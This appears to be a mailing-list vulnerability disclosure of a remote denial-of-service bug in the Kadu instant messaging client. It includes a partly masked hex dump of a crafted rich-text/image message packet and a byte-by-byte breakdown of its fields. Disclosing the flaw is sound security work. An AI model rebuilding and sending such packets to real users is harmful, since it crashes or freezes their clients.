Kadu remote DoS

[michal () tux bz]

Hi.

Kadu is a Gadu-Gadu instant messaging open source client.

By sending message with rich_text ,image 
basic informations and nothing else to speciffic UIN thru Gadu-Gadu server Kadu is stopping to respond or is shutting 
down immidietly. Behavior depends on version

0.4.2
        In most cases Kadu freezes and sending lots of packets to Gadu-Gadu server.
0.5.0pre
        Shuts down immidietly.

Example of packet which is send by server:


        0x0040:  XXXX 0a00 0000 2b00 0000 XXXX XXXX 9e05  .G....+.........
        0x0050:  0000 4954 8a43 0800 0000 4141 4141 4141  ..IT.C....AAAAAA
        0x0060:  4100 0210 0001 0004 0000 0009 01cc cccc  A...............
        0x0070:  ccbb bbbb bb                             .....

0x0042-0x0045 Type of packet. In this case 0x0a means incomming message
0x0046-0x0049 Length of the rest 
0x004a-0x004d source UIN
0x004e-0x0051 seq. number
0x0052-0x0055 time
0x0056-0x0059 class of message
0x005a-0x0061 text "AAAAAAA\0"
0x0062        init rich_text
0x0063-0x0064 Length of the rest
0x0065-0x0066 position in text
0x0067        font atribute
0x0068-0x006a color in rgb
0x006b-0x006c unknown
0x006d-0x0070 image size
0x0071-0x0074 crc32 of image

Michal Gizowski michal[at]tux.bz